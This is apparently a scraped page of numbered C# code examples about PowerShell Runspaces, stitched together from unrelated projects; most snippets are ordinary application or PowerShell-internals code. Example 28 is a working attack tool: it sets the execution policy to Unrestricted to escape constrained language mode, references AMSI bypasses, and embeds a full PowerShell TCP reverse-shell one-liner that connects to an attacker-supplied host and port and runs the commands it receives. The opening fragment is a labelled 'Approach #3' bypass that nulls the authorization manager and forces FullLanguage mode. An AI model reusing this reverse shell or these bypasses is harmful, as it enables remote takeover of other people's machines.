                InitialSessionState initialSessionState = InitialSessionState.CreateDefault();
                initialSessionState.ApartmentState       = System.Threading.ApartmentState.STA;
                initialSessionState.AuthorizationManager = null;
                initialSessionState.ThreadOptions        = PSThreadOptions.UseCurrentThread;

                using (Runspace runspace = RunspaceFactory.CreateRunspace(initialSessionState))
                {
                    runspace.Open();
                    runspace.SessionStateProxy.LanguageMode           = PSLanguageMode.FullLanguage;
                    runspace.InitialSessionState.AuthorizationManager = null;
                    runspace.InitialSessionState.LanguageMode         = PSLanguageMode.FullLanguage;
                    runspace.Close();
                }
            }
            catch (Exception e)
            {
                Console.WriteLine("[-] Approach #3 failed: " + e);
            }

            return(0);
        }
Ejemplo n.º 21
0
 protected Collection <PSObject> ExecuteLocalScript(Runspace runSpace, List <string> scripts, out object[] errors, params string[] moduleImports)
 {
     return(ExecuteRemoteScript(runSpace, null, scripts, out errors, moduleImports));
 }
Ejemplo n.º 22
0
        internal static string GetModulePath(string remoteModuleName, Version remoteModuleVersion, string computerName, Runspace localRunspace)
        {
            computerName ??= string.Empty;

            string sanitizedRemoteModuleName = Regex.Replace(remoteModuleName, "[^a-zA-Z0-9]", string.Empty);
            string sanitizedComputerName     = Regex.Replace(computerName, "[^a-zA-Z0-9]", string.Empty);
            string moduleName = string.Format(
                CultureInfo.InvariantCulture,
                "remoteIpMoProxy_{0}_{1}_{2}_{3}",
                sanitizedRemoteModuleName.Substring(0, Math.Min(sanitizedRemoteModuleName.Length, 100)),
                remoteModuleVersion,
                sanitizedComputerName.Substring(0, Math.Min(sanitizedComputerName.Length, 100)),
                localRunspace.InstanceId);
            string modulePath = Path.Combine(Path.GetTempPath(), moduleName);

            return(modulePath);
        }
Ejemplo n.º 23
0
 internal Collection <PSObject> ExecuteShellCommand(Runspace runSpace, Command cmd, out object[] errors)
 {
     return(ExecuteShellCommand(runSpace, cmd, true, out errors));
 }
Ejemplo n.º 24
0
 /// <summary>
 /// Runs a PowerShell command/script synchronously.
 /// </summary>
 /// <param name="commandText">The text of the command to run.</param>
 /// <param name="runspace">An open PowerShell Runspace this script will use to invoke its pipeline.</param>
 /// <param name="log">[Optional] The event log to log execptions to. May be null for no logging.</param>
 /// <param name="input">[Optional] A collection of strings representing command-line input sent to the script during execution.</param>
 /// <param name="parameterList">An array of key/value objects defining additional parameters to supply to the PowerShell script.</param>
 /// <returns>A collection of PSObjects that are the result of the script/command run. Null if an error occurred while processing the command / script.</returns>
 public Collection <PSObject> RunSynchronously(string commandText, ref Runspace runspace, EventLog.EventLog log = null, PSDataCollection <string> input = null, params KeyValuePair <String, Object>[] parameterList)
 {
     // Run the script synchronously.
     return(PowerShell.RunSynchronously(commandText, ref runspace, Log, input, parameterList));
 }
Ejemplo n.º 25
0
        public MainWindow()
        {
            InitializeComponent();

            LabelStatus.Visibility         = Visibility.Hidden;
            LabelStatusTop.Visibility      = Visibility.Hidden;
            ButtonRestartUpdate.Visibility = Visibility.Hidden;
            var version = Assembly.GetExecutingAssembly().GetName().Version;

            _version    = $"{version.Major}.{version.Minor}.{version.Build}";
            this.Title += $" - {_version}";

            SyncMlProgress   = new SyncMlProgress();
            SyncMlSessions   = new ObservableCollection <SyncMlSession>();
            SyncMlMlMessages = new ObservableCollection <SyncMlMessage>();

            _rs = RunspaceFactory.CreateRunspace();
            _rs.Open();

            _backgroundWorker = new BackgroundWorker
            {
                WorkerReportsProgress = true
            };
            _backgroundWorker.DoWork          += WorkerTraceEvents;
            _backgroundWorker.ProgressChanged += WorkerProgressChanged;
            _backgroundWorker.RunWorkerAsync();

            DataContext = this;

            this.Loaded += delegate { MenuItemCheckUpdate_OnClick(null, new RoutedEventArgs()); };

            ListBoxSessions.ItemsSource       = SyncMlSessions;
            ListBoxSessions.DisplayMemberPath = "Entry";

            ListBoxMessages.ItemsSource       = SyncMlMlMessages;
            ListBoxMessages.DisplayMemberPath = "Entry";

            ICSharpCode.AvalonEdit.Search.SearchPanel.Install(TextEditorStream);
            ICSharpCode.AvalonEdit.Search.SearchPanel.Install(TextEditorMessages);
            ICSharpCode.AvalonEdit.Search.SearchPanel.Install(TextEditorCodes);
            ICSharpCode.AvalonEdit.Search.SearchPanel.Install(TextEditorDiagnostics);
            _foldingManager  = FoldingManager.Install(TextEditorMessages.TextArea);
            _foldingStrategy = new XmlFoldingStrategy();
            _foldingStrategy.UpdateFoldings(_foldingManager, TextEditorMessages.Document);

            LabelDeviceName.Content = Environment.MachineName;
            _updateStarted          = false;
            _updateCheckInitial     = true;

            TextEditorStream.Options.HighlightCurrentLine   = true;
            TextEditorMessages.Options.HighlightCurrentLine = true;

            TextEditorCodes.Options.EnableHyperlinks = true;
            TextEditorCodes.Options.RequireControlModifierForHyperlinkClick = false;
            TextEditorCodes.Text = Properties.Resources.StatusCodes;

            TextEditorAbout.Options.EnableHyperlinks = true;
            TextEditorAbout.Options.RequireControlModifierForHyperlinkClick = false;
            TextEditorAbout.Text = Properties.Resources.About;

            TextEditorDiagnostics.Text +=
                $"Hostname:           {MdmDiagnostics.Hostname}\r\n" +
                $"OS Version:         {MdmDiagnostics.OsVersion} (x{MdmDiagnostics.Bits})\r\n" +
                $"Version:            {MdmDiagnostics.Version}\r\n" +
                $"Current Build:      {MdmDiagnostics.CurrentBuild}.{MdmDiagnostics.BuildRevision}\r\n" +
                $"Release ID:         {MdmDiagnostics.ReleaseId}\r\n" +
                $"Build Branch:       {MdmDiagnostics.BuildBranch}\r\n" +
                $"Enrollment UPN:     {_mdmDiagnostics.Upn}\r\n" +
                $"AAD TenantID:       {_mdmDiagnostics.AadTenantId}\r\n" +
                $"OMA-DM AccountID:   {_mdmDiagnostics.OmaDmAccountId}";
        }
        /// <summary>
        /// End Processing.
        /// </summary>
        protected override void EndProcessing()
        {
            // Check if system is in locked down mode, in which case this cmdlet is disabled.
            if (SystemPolicy.GetSystemLockdownPolicy() == SystemEnforcementMode.Enforce)
            {
                WriteError(
                    new ErrorRecord(
                        new PSSecurityException(RemotingErrorIdStrings.EnterPSHostProcessCmdletDisabled),
                        "EnterPSHostProcessCmdletDisabled",
                        ErrorCategory.SecurityError,
                        null));

                return;
            }

            // Check for host that supports interactive remote sessions.
            _interactiveHost = this.Host as IHostSupportsInteractiveSession;
            if (_interactiveHost == null)
            {
                WriteError(
                    new ErrorRecord(
                        new ArgumentException(RemotingErrorIdStrings.HostDoesNotSupportIASession),
                        "EnterPSHostProcessHostDoesNotSupportIASession",
                        ErrorCategory.InvalidArgument,
                        null));

                return;
            }

            // Check selected process for existence, and whether it hosts PowerShell.
            Runspace namedPipeRunspace = null;

            switch (ParameterSetName)
            {
            case ProcessIdParameterSet:
                Process = GetProcessById(Id);
                VerifyProcess(Process);
                namedPipeRunspace = CreateNamedPipeRunspace(Process.Id, AppDomainName);
                break;

            case ProcessNameParameterSet:
                Process = GetProcessByName(Name);
                VerifyProcess(Process);
                namedPipeRunspace = CreateNamedPipeRunspace(Process.Id, AppDomainName);
                break;

            case PSHostProcessInfoParameterSet:
                Process = GetProcessByHostProcessInfo(HostProcessInfo);
                VerifyProcess(Process);

                // Create named pipe runspace for selected process and open.
                namedPipeRunspace = CreateNamedPipeRunspace(Process.Id, AppDomainName);
                break;

            case PipeNameParameterSet:
                VerifyPipeName(CustomPipeName);
                namedPipeRunspace = CreateNamedPipeRunspace(CustomPipeName);
                break;
            }

            // Set runspace prompt.  The runspace is closed on pop so we don't
            // have to reverse this change.
            PrepareRunspace(namedPipeRunspace);

            try
            {
                // Push runspace onto host.
                _interactiveHost.PushRunspace(namedPipeRunspace);
            }
            catch (Exception e)
            {
                namedPipeRunspace.Close();

                ThrowTerminatingError(
                    new ErrorRecord(
                        e,
                        "EnterPSHostProcessCannotPushRunspace",
                        ErrorCategory.InvalidOperation,
                        this));
            }
        }
Ejemplo n.º 27
0
 public void SetDefaultRunspace()
 {
     Runspace.MakeDefault();
 }
Ejemplo n.º 28
0
        public static void Main(string[] args)
        {
            string command = "", rhost = "", port = "";
            // checking for RevShell mode
            bool revShell = false;

            if (args != null && args.Length > 0 && !string.IsNullOrEmpty(args[0]) && !string.IsNullOrEmpty(args[1]))
            {
                revShell = true;
                rhost    = args[0];
                port     = args[1];
            }


            Runspace runspace = RunspaceFactory.CreateRunspace();

            runspace.Open();

            // OLD ** Amsi bypass technique from: http://cn33liz.blogspot.co.uk/2016/05/bypassing-amsi-using-powershell-5-dll.html
            // OLD ** string Arch = System.Environment.GetEnvironmentVariable("PROCESSOR_ARCHITECTURE");
            // OLD ** AmsiBypass.Amsi(Arch);
            // NEW ** https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/master/ASBBypass/Program.cs
            //AmsiBypass.Disable();

            // set execution policy to Unrestricted for current process
            // this should bypass costraint language mode from the low priv 'ConstrainedLanguage' to our beloved 'FullLanguage'
            RunspaceInvoke runSpaceInvoker = new RunspaceInvoke(runspace);

            runSpaceInvoker.Invoke("Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope Process");

            //rev shell one-liner
            //string revShellcommand = @"$client = New-Object System.Net.Sockets.TCPClient('{RHOST}',{PORT});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()";

            //rev shell better one-liner (pretty printed) with exception handling
            string revShellcommand = @"$client = New-Object System.Net.Sockets.TCPClient('{RHOST}',{PORT});
                                    $stream = $client.GetStream();
                                    [byte[]]$bytes = 0..65535|%{0};
                                    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
                                    {
	                                    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
	                                    try
	                                    {	
		                                    $sendback = (iex $data 2>&1 | Out-String );
		                                    $sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';
	                                    }
	                                    catch
	                                    {
		                                    $error[0].ToString() + $error[0].InvocationInfo.PositionMessage;
		                                    $sendback2  =  ""ERROR: "" + $error[0].ToString() + ""`n`n"" + ""PS "" + (pwd).Path + '> ';
	                                    }	
	                                    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
	                                    $stream.Write($sendbyte,0,$sendbyte.Length);
	                                    $stream.Flush();
                                    };
                                    $client.Close();";

            // funny intro
            if (!revShell)
            {
                Console.WriteLine("Type your P0w3rSh3ll command down here \n");
            }
            else
            {
                revShellcommand = revShellcommand.Replace("{RHOST}", rhost).Replace("{PORT}", port);
            }

            // loop for getting commands from Stdin
            do
            {
                if (!revShell)
                {
                    Console.Write("PS > ");
                    command = Console.ReadLine();
                }
                else
                {
                    command = revShellcommand;
                }

                // vervbse check!
                if (!string.IsNullOrEmpty(command))
                {
                    using (Pipeline pipeline = runspace.CreatePipeline())
                    {
                        try
                        {
                            pipeline.Commands.AddScript(command);
                            pipeline.Commands.Add("Out-String");
                            // if revshell true - run asyn one-liner script and exit
                            if (revShell)
                            {
                                Console.Write("Trying to connect back...\n");
                            }
                            // otherwise stay open and ready to accept and invoke commands
                            Collection <PSObject> results = pipeline.Invoke();
                            //var process = (Process)pipeline.Output.Read().BaseObject;

                            StringBuilder stringBuilder = new StringBuilder();
                            foreach (PSObject obj in results)
                            {
                                stringBuilder.AppendLine(obj.ToString());
                            }
                            Console.Write(stringBuilder.ToString());
                        }
                        catch (Exception ex)
                        {
                            if (revShell)
                            {
                                revShellcommand = "";
                            }
                            Console.WriteLine("{0}", ex.Message);
                        }
                    }
                }
            }while (command != "exit");
        }
Ejemplo n.º 29
0
 public void Dispose()
 {
     _restoreEvents.SolutionRestoreCompleted -= RestoreEvents_SolutionRestoreCompleted;
     _initScriptsLock.Dispose();
     Runspace?.Dispose();
 }
Ejemplo n.º 30
0
        public MainWindow()
        {
            DateTime dstart = DateTime.Now;

            InitializeComponent();

            List <string> lSponsors = Properties.Settings.Default.SponsorUrl.Cast <string>().ToList().OrderBy(a => Guid.NewGuid()).ToList();

            Img1.Source = new BitmapImage(new Uri(lSponsors[0]));
            Img2.Source = new BitmapImage(new Uri(lSponsors[1]));
            Img3.Source = new BitmapImage(new Uri(lSponsors[2]));

            CommandArgs.AddRange(Environment.GetCommandLineArgs());
            CommandArgs.RemoveAt(0);

            //Disable SSL/TLS Errors
            System.Net.ServicePointManager.ServerCertificateValidationCallback = delegate { return(true); };
            //Disable CRL Check
            System.Net.ServicePointManager.CheckCertificateRevocationList = false;
            //Get Proxy from IE
            WebRequest.DefaultWebProxy = WebRequest.GetSystemWebProxy();

            if (Properties.Settings.Default.UpgradeSettings)
            {
                Properties.Settings.Default.Upgrade();
                Properties.Settings.Default.UpgradeSettings = false;
                Properties.Settings.Default.Save();
            }

            //Get Version
            FileVersionInfo fvi = FileVersionInfo.GetVersionInfo(System.Reflection.Assembly.GetExecutingAssembly().Location);

            tbVersion.Text   = string.Format(tbVersion.Text, fvi.FileVersion);
            lVersion.Content = "Version: " + fvi.FileVersion;

            //Hide Tabs
            Style s = new Style();

            s.Setters.Add(new Setter(UIElement.VisibilityProperty, Visibility.Collapsed));
            tabWizard.ItemContainerStyle = s;

            if (RZRestAPIv2.DisableBroadcast)
            {
                cbRZCache.IsChecked = false;
                cbRZCache.IsEnabled = false;
            }
            else
            {
                RZRestAPIv2.DisableBroadcast = Properties.Settings.Default.DisableBroadcast;
                cbRZCache.IsChecked          = !Properties.Settings.Default.DisableBroadcast;
            }

            tbSVC.Text = RZRestAPIv2.sURL;

            if (string.IsNullOrEmpty(RZRestAPIv2.CustomerID))
            {
                //tbCustomerID.IsEnabled = true;
                //RZRestAPIv2.CustomerID = Properties.Settings.Default.CustomerID;
            }
            else
            {
                tbCustomerID.Text      = RZRestAPIv2.CustomerID;
                tbCustomerID.IsEnabled = false;
            }

            oInstPanel.onEdit += oInstPanel_onEdit;
            oUpdPanel.onEdit  += oInstPanel_onEdit;
            //oInstPanel.OnSWUpdated += OUpdPanel_OnSWUpdated;
            oUpdPanel.OnSWUpdated += OUpdPanel_OnSWUpdated;

            double dSeconds = (DateTime.Now - dstart).TotalSeconds;

            dSeconds.ToString();


            //Run PowerShell check in separate thread...
            Thread thread = new Thread(() =>
            {
                try
                {
                    Runspace runspace = RunspaceFactory.CreateRunspace();
                    runspace.Open();

                    PowerShell powershell = PowerShell.Create();
                    powershell.AddScript("(get-Host).Version");
                    powershell.Runspace           = runspace;
                    Collection <PSObject> results = powershell.Invoke();
                    if (((System.Version)(results[0].BaseObject)).Major < 5)
                    {
                        if (MessageBox.Show("The current Version of PowerShell is not supported. Do you want to update ?", "Update Powershell", MessageBoxButton.YesNo, MessageBoxImage.Warning, MessageBoxResult.Yes) == MessageBoxResult.Yes)
                        {
                            //Update...
                            Process.Start("https://www.microsoft.com/en-us/download/details.aspx?id=50395");
                            this.Close();
                        }
                    }
                }
                catch { }
            });

            thread.SetApartmentState(ApartmentState.STA);
            thread.Start();

            FileVersionInfo FI = FileVersionInfo.GetVersionInfo(Assembly.GetEntryAssembly().Location);

            oSCAN = new RZScan(false, true);

            oSCAN.StaticInstalledSoftware.Add(new AddSoftware()
            {
                ProductName = "RuckZuck", Manufacturer = FI.CompanyName, ProductVersion = FI.ProductVersion.ToString()
            });
            oSCAN.OnSWScanCompleted  += OSCAN_OnSWScanCompleted;
            oSCAN.OnUpdatesDetected  += OSCAN_OnUpdatesDetected;
            oSCAN.OnSWRepoLoaded     += OSCAN_OnSWRepoLoaded;
            oSCAN.OnUpdScanCompleted += OSCAN_OnUpdScanCompleted;
            oSCAN.OnInstalledSWAdded += OSCAN_OnInstalledSWAdded;
            oSCAN.bCheckUpdates       = true;

            oSCAN.GetSWRepository().ConfigureAwait(false);

            //oSCAN.tRegCheck.Start();

            if (CommandArgs.Count > 0)
            {
            }
            else
            {
                //Show About once...
                if (!Properties.Settings.Default.ShowAbout)
                {
                    tabWizard.SelectedItem = tabMain;
                }
                else
                {
                    tabWizard.SelectedItem = tabStart;
                    Properties.Settings.Default.ShowAbout = false;
                    Properties.Settings.Default.Save();
                }
            }
        }
Ejemplo n.º 31
0
 /// <summary>
 /// Cleans/Closes the runspace
 /// </summary>
 /// <param name="runspace">
 /// Runspace to be closed/cleaned
 /// </param>
 protected void DestroyRunspace(Runspace runspace)
 {
     Dbg.Assert(null != runspace, "Runspace cannot be null");
     runspace.Events.ForwardEvent -= OnRunspaceForwardEvent; // this must be done after open since open initializes the ExecutionContext
     runspace.Close();
     runspace.Dispose();
     lock (runspaceList)
     {
         runspaceList.Remove(runspace);
         totalRunspaces = runspaceList.Count;
     }
 }
 public MainWindow()
 {
     InitializeComponent();
     _rs = RunspaceFactory.CreateRunspace();
     _rs.OpenAsync();
 }
Ejemplo n.º 33
0
        /// <summary>
        /// Releases a Runspace to the pool. If pool is closed, this
        /// will be a no-op.
        /// </summary>
        /// <param name="runspace">
        /// Runspace to release to the pool.
        /// </param>
        /// <exception cref="ArgumentException">
        /// <paramref name="runspace"/> is null.
        /// </exception>
        /// <exception cref="InvalidRunspacePoolStateException">
        /// Runspool is not in Opened state.
        /// </exception>
        /// <exception cref="InvalidOperationException">
        /// Cannot release the runspace to this pool as the runspace 
        /// doesn't belong to this pool.
        /// </exception>
        public void ReleaseRunspace(Runspace runspace)
        {
            if (null == runspace)
            {
                throw PSTraceSource.NewArgumentNullException("runspace");
            }

            AssertPoolIsOpen();

            bool isRunspaceReleased = false;
            bool destroyRunspace = false;

            // check if the runspace is owned by the pool
            lock (runspaceList)
            {
                if (!runspaceList.Contains(runspace))
                {
                    throw PSTraceSource.NewInvalidOperationException(RunspacePoolStrings.RunspaceNotBelongsToPool);
                }
            }

            // Release this runspace only if it is in valid state and is
            // owned by this pool.
            if (runspace.RunspaceStateInfo.State == RunspaceState.Opened)
            {
                lock (pool)
                {
                    if (pool.Count < maxPoolSz)
                    {
                        isRunspaceReleased = true;
                        pool.Push(runspace);
                    }
                    else
                    {
                        // this runspace is not going to be pooled as maxPoolSz is reduced.
                        // so release the runspace and destroy it.
                        isRunspaceReleased = true;
                        destroyRunspace = true;
                    }
                }
            }
            else
            {
                destroyRunspace = true;
                isRunspaceReleased = true;
            }

            if (destroyRunspace)
            {
                // Destroying a runspace might be costly.
                // so doing this outside of the lock.
                DestroyRunspace(runspace);
            }

            // it is important to release lock on Pool so that
            // other threads can service requests.
            if (isRunspaceReleased)
            {
                // service any pending runspace requests.
                EnqueueCheckAndStartRequestServicingThread(null, false);
            }
        }
Ejemplo n.º 34
0
 /// <summary>
 /// Entry point - called from the PowerShell function PSConsoleHostReadLine
 /// after the prompt has been displayed.
 /// </summary>
 /// <returns>The complete command line.</returns>
 public static string ReadLine(Runspace runspace, EngineIntrinsics engineIntrinsics)
 {
     // Use a default cancellation token instead of CancellationToken.None because the
     // WaitHandle is shared and could be triggered accidently.
     return(ReadLine(runspace, engineIntrinsics, _defaultCancellationToken));
 }